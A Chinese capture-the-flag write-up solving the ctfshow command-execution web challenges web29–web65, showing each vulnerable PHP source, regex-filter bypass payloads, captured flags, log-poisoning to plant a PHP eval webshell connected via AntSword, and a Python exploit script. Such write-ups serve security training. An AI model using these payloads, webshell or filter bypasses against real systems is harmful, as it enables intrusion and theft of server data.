命令执行
web29
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
注意
;
结尾
利用system()函数执行shell,利用cat f*
绕过flag正则过滤,其中f*
指f开头的文件
?c=system('cat f*');
web30
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag
、system
和php
除了system函数,还可以用passthru
、shell_exec
?c=echo passthru('ls');
shell_exec前需要用echo来回显
?c=echo shell_exec('cat f*');
ctfshow{17d927ad-bb1f-406f-b961-a6378cf6f8c2}
system、passthru、exec和shell_exec区别
简单来说,system与passthru类似,都会自动回显
exec和shell_exec则不会回显,而是以字符串的方式返回,其中shell_exec会将完整的输出以字符串的方式返回,而exec返回命令执行结果的最后一行内容
web31
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了一堆,无伤大雅
法一
?c=passthru("c\at%09f*");
c\at
绕过cat过滤,其中\
为转义字符,\a
转义后仍为a
%09
为URL编码,解码后为制表符(\t),绕过空格
f*
中*
为通配符,匹配f开头的文件
法二
?c=eval($_GET[1]);&1=echo`cat flag.php`;
利用eval函数构造传参执行,其中``作用同shell_exec
ctfshow{9e05f53e-babe-400b-986e-c41331322ae1}
web32
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
(
、;
、`
都被过滤了,可以构造一个文件包含,伪协议拿到flag
?c=include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
%09
代替空格,?>
代替;
base64解码
ctfshow{158a10e2-f145-47bf-8495-4b4aadfe5ec7}
web33
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
ctfshow{d1e51e89-effb-4894-8c2b-92cfeddae19f}
web34
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
法一
法二
日志注入
通常,在每次web请求时,像nginx、apache等中间件都会在日志记录每次请求,在Linux中通常保存在/var/log/<中间件>/access.log中
确定是Nginx
由于php不解析<?php ?>以外的文本,在本题中可通过/?c=include$_GET[1]?%3E&1=/var/log/nginx/access.log
查看
其中包含了每次请求的ip、时间、方式、路由、http头等
我们可以利用请求信息来注入一句话木马,然后再利用文件包含木马进行连接
<?php @eval($_POST['cmd']);?>
然鹅,在路由放置木马会被编码,即使利用bp发包遇到空格也会400
但,我们可以在http头中进行注入
User-Agent头
或
Referer头
此时,再次查看日志
空空如也,别担心,说明已经成功注入到日志中了,被php解析掉了
现在可以用蚁剑连接到此
注意一定要改成http协议,或者在其他设置中勾选忽略https证书
然后就可以为所欲为了
ctfshow{96e8be64-787b-4d9c-a506-e720a8157ee8}
web35
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
web36
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
/?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
日志注入
Referer头改成一句话木马
蚁剑连接?c=/var/log/nginx/access.log
,密码cmd
data伪协议
由于过滤了flag
,base64加密<?php system('cat flag.php');
构造data伪协议绕过
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
ctfshow{01d32915-2dbb-44d7-95ad-8025e82d8d51}
web38
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
ctfshow{cb1aec58-3812-4710-b0f1-3aa7348057f1}
web39
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
屁股加了个.php
,无伤大雅,?>
闭合即可
?c=data://text/plain,<?php system('cat f*');?>
ctfshow{d60a23cc-a4a6-4a29-9ffe-e5b180ab2e11}
web40
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
符号都被过滤了,无参数绕过
方法太多了,举两种
法一
?c=eval(next(pos(get_defined_vars())));&1=system('cat flag.php');
get_defined_vars()
返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
pos()
同current(),返回数组中的单元,默认取第一个值。
next()
将内部指针指向数组中的下一个元素,并输出
next(pos(get_defined_vars()))
相当于在get_defined_vars()
结果取出第一个值——_GET
数组,此时指针在_GET
数组中第一个单元上,即c : eval(next(pos(get_defined_vars())));&1=system('cat flag.php');
,再移动指针到下一位,即get传入的第二的参数1 : system('cat flag.php');
,最终,返回system('cat flag.php');
法二
highlight_file(next(array_reverse(scandir(current(localeconv())))));
localeconv()
可以发现localeconv()
返回的数组第一个元素值为.
,可以利用该字符遍历当前目录
scandir()
将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称
array_reverse
字面意思,反转数组
web41
过滤不严,命令执行
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
发现字母数字和大部分符号都被过滤了,但|
未过滤,可以利用该符号进行或运算,之前做过异或运算(^
)的题,用的羽师傅的脚本,这次再用一次羽师傅的或运算脚本
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';//改成对应过滤正则
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
from urllib.parse import quote
os.system("php rce_or.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
print(param) //该处输出编码前数据
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
先根据题目过滤修改php代码中的正则表达式,再用此php代码生成可用字符集rce_or.txt
,再终端运行
倘若配好php系统环境变量,改完正则后直接运行以下脚本即可
python exp.py [url]
然后填入function
和command
即可
ctfshow{6ef78934-18a8-4d8f-bde9-2bdbb1be810c}
此脚本仅针对该题,倘若改成GET传参或嵌套函数利用等,利用或修改如下
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
手动传参即可
web42
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
发现传参后面跟了一串>/dev/null 2>&1
,意思是将标准输出和错误输出全部重定向到/dev/null中,通俗讲,就是吧输出给你扔了,但问题不大,注释掉即可,linux中#
后为注释,但ls #
为何无结果呢?
原因是在url中#
表示书签,不进行转义,解决办法强行转义成%23即可,或者用;
、%0a
(换行符)隔断也可
?c=cat f* %23
ctfshow{e37535d4-09b3-4df4-83a7-92e94589a094}
web43
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
如图
ctfshow{4356c844-959e-4bf5-9d8c-b962db2c4ef8}
web44
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
如图
ctfshow{1fcea7b9-b0ef-4498-b332-8a606c62af03}
前面没提到cat被过滤这个问题,这里说一下吧
cat类似命令:
cat 由第一行开始显示档案内容
tac 倒过来的cat,输出也是倒着的(行)
more 按页显示档案内容
less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
head 输出头几行
tail 输出尾巴几行
nl 输出行号+内容
od 以二进制输出
strings
uniq -c
bash -v
rev 反转
type windows中查看文件内容
web45
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
空格被过滤,用%0a
(制表符)或${IFS}
或<>
或<
或||
代替即可
web46
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
心情好,多写几种解
[a-z]
: a
到z
任意字符
?c=tac%09f[a-z]ag.php%0a
?
:任意字符
?c=tac%09????????%0a
`ls`
:执行ls后结果
?c=tac%09`ls`%0a
web47
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web44讲得几种代替cat的用法都被pass了(其实tac没有)
介绍几种新方法:
0x00 /转义
?c=ca\t%09fl\ag.php%0a
0x01 ‘’
?c=ca''t%09fl''ag.php%0a
0x02 空变量绕过
?c=ca$@t%09fl$@ag.php%0a
$被过滤了
······
怎么骚怎么来
ctfshow{89d9b1be-6329-4f24-80b1-21e8b0e4c06b}
web48
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
怎么还不禁tac😠
?c=tac%09f\lag.php%0a
ctfshow{40cf348b-1af9-4b6e-9b53-1d623bc69881}
web49
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
禁%没啥用,在进过滤之前就当url解码掉了
?c=tac%09f\lag.php%0a
ctfshow{09546ade-e018-4630-8a31-2f61dda7e39e}
web50
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上
?c=tac<fla\g.php||
ctfshow{f9cd4d96-c371-4e93-b41d-e04159e26aae}
web51
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl<f''lag.php||
flag.php内容重定向到nl输出
web52
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=ca''t${IFS}/fl''ag||
web53
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=ca''t${IFS}fla''g.php
web54
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
新骚姿势,cp易名复制到当前目录下,直接download下来
?c=cp${IFS}f?ag.php${IFS}./a
/a
ctfshow{3c0e594f-fa85-48d1-996f-b7e38dfabd34}
web55
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
大小写全被过滤了,数字空格没有被过滤,新姿势,八进制绕过,在Linux中$'\141'
会将\141
以八进制形式转义成对应十进制ascii码字符
?c=$'cat' $'flag.php'
将''
中字符转为八进制ascii码
?c=$'\143\141\164' $'\146\154\141\147\56\160\150\160'
ctfshow{2836cc15-16d4-4153-bfbe-74d130f91405}
web56
命令执行,需要严格的过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
很经典的题了,无字母数字RCE,倘若是eval函数还可以取反什么的,system可操作的空间就很少了,只能用符号与shell交互
然鹅
在linux中.
相当于source
指令,可以执行.sh
脚本
在php中,post上传文件会在/tmp目录下生成一个php??????
临时文件(?
为随机大小写字母),在请求结束之后,该临时文件才会被清除
这样,就可以构造一个请求利用.
执行上传的临时文件,如. /???/?????????
然鹅
/???/?????????
通配的文件不止一个,无法指定执行
不过,可以发现我们上传的临时文件是随机大小写混合,而其他文件均为小写,我们只要让某位置指定为大写,当回赌狗即可,可字母全被ban了,如何指定为大写呢
利用glob通配符,[@-[]
,覆盖所有大写字母
于是,强行构造一个post上传执行脚本的文件
POST ?c=.+/???/????????[@-[] HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------22
Content-Length: 192
-----------------------------22
Content-Disposition: form-data; name="file"; filename="sh"
Content-Type: application/octet-stream
#!/bin/sh
cat index.php
-----------------------------22
剩下的就当赌狗了
ctfshow{e4fce030-bfcc-4f29-8cff-625f52bf3bc9}
web57
命令执行,需要严格的过滤,已测试,可绕
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
源码提示//flag in 36.php,基本都被禁了,不过可以利用取反构造出数字就可以了
$()
==>(空)
$(())
==>0
$((~$(())))
==>$((~0))
==>-1
$((~$(())))$((~$(())))
==>$((~0))$((~0))
==>-1-1
$(($((~$(())))$((~$(()))))
==>$(($((~0))$((~0))))
==>$((-1-1))==>-2
$((~$(($((~$(())))$((~$(())))))))
==>$((~$(($((~0))$((~0))))))
==>$((~$((-1-1))))
==>$((~-2))
==>1
本质是利用$(())
、-
和~
,$(())
做运算,~
取反产生负号,-
作减法运算
于是,用37个$((~0))
生成的37个-1
拼接在一起再作一次$((-1-1···-1))
便成了-37,最后取反$((~ ))
出了36
?
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
ctfshow{827f5b1f-b76c-4ca8-b5ba-9209a84c830f}
web58
命令执行,突破禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
乍一看,寻思进post篇了?
梭一下,发现原来ban函数了
想看看ban了哪些,没想到phpinfo()也被ban了
试了一下,四个函数都被ban了,可恶
不过问题不大,能看到源码就能看到flag
c=highlight_file('flag.php');
ctfshow{d9faf2b7-d802-4b7c-b115-b8bb1b4068e0}
web58-web65题目相同,点击此处传送至web66
web59
命令执行,突破禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
web60
命令执行,突破禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
ctfshow{df1c4f53-1fd1-41b7-aa43-ff6854b9adea}
web61
命令执行,突破禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
ctfshow{6841c599-a0cd-49eb-8c54-999f7f257def}
web62
命令执行,突破禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
ctfshow{e8f4e2b4-f3a7-490b-82a1-ed77c2be1596}
web63
命令执行,突破禁用函数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
ctfshow{55210574-3a00-4ac8-971a-eef8274db677}
web64
命令执行,突破禁用函数,真的是 秀不过你们
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
ctfshow{2d149b7f-b935-4ade-8936-088a650749be}
web65
命令执行,突破禁用函数,求你们别秀了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
